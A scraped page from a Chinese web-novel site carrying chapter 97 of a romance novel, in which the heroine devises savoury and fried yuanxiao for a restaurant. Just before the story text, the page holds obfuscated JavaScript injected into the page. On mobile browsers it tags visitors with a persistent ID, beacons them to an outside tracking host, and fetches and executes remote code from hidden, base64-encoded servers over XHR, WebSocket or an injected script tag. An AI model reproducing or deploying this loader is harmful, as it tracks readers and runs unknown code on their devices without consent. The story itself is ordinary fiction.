足迹
战王医妃有点甜小说
登录
关灯
护眼
字体:

第九十七章 元宵有什么新菜单(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

其实他关心的是:他和魏紫还一起搭伙做生意吗?

毕竟,魏紫要是跟他大哥老死不相往来,他的身份也是很尴尬的呀。

魏紫笑了笑:“这两日我拟了一份计划书,还有些细节需要再考虑考虑,等想清楚了,再同你一起商量。”

风澹宁一听,提着的心总算是放了下来。

还好还好,魏三小姐为人大气,是非分得清,他是他,他大哥是他大哥,没有因他大哥而嫌弃了他。

“后日便是元宵了,不知酒楼有什么新菜,或有什么活动推出?”

“也没什么,卖卖元宵,打打折扣。”

魏紫又问:“元宵什么口味?”

风澹宁回道:“就芝麻、豆沙、白糖这几种——”他陡然反应过来:“你的意思是,元宵做其他口味的?”

魏紫点点头:“嗯,许多人并不习惯吃甜食,倒可以试试其他口味的元宵。”

感谢现代商家的奇思妙想,魏紫吃过各种奇奇怪怪的元宵——包括麻辣串串香、鸭血粉丝口味的,那种感觉,嗯,怎么说呢,就跟风澹宁以前做的创意菜一样,一言难尽吧……

“我们去厨房现做吧。”

厨师们一听魏紫要做菜,纷纷围了过来。

毕竟,以一个“合家欢”自助餐的创意,不仅让酒楼扭亏为盈,还日(ri)日客似云来,他们着实佩服这位小姑娘,都想着能跟她多学一些,以后即便不在“一品鲜”做了,也能凭手艺谋个好出路。

魏紫看了遍厨房里的食材,说道:“先做两道咸味元宵吧。”

当即有厨师提出疑问:“元宵还能做咸的?”

魏紫笑道:“可不可以,等做出来尝一尝便知分晓。王师傅,我调馅,元宵的成品就劳烦您了。”

那位厨师赶紧道:“魏小姐客气了!”

魏紫取了鲜笋、虾、鲜肉等食材,各自处理后,说道:“咸味元宵,我以猪肉打底,做两款:鲜笋肉沫,鲜肉虾仁。鲜笋和肉沫都切丁,虾肉则保留整只。”

她手脚麻利,很快就处理好了馅料,方才的王师傅便拿了筛子来“滚”元宵。

与此同时,魏紫开始取了大骨头汤、鸡汤以及各式调料,准备汤底。

等元宵“滚”得白白胖胖后,王师傅依言下了元宵,煮熟后放入魏紫做好的汤底里。

“诸位师傅尝尝口味。”

分成一小碗一小碗后,厨师们纷纷尝了,风澹宁也迫不及待地吃了一颗。

“鲜而不腻,好吃!”风澹宁举起大拇指,忍不住又吃了一口。

王师傅也笑道:“我不爱吃甜食,往常吃元宵也就吃个一两颗应个景,如今这咸元宵,我能吃一大碗!”

魏紫指了指锅里的元宵:“那剩下的,可就辛苦王师傅了。”

“那老王我就不客气了!”王师傅美滋滋地把剩下的元宵都捞进自己碗里。

“老王,你倒给我剩两颗啊!”

“就是,吃独食啊你!”

“魏小姐让我吃的啊……”

魏紫又道:“元宵除了煮,油炸也别有一番风味。等下再劳烦王师傅做一些豆沙、芝麻馅的元宵,按着油炸方子,再试试味道!”

“中!”王师傅咬着鲜美异常的咸味元宵,一口应下。

咸味元宵、炸元宵之法不难,一看便知,好吃又方便,而接下来的元宵做法,就是精细活了!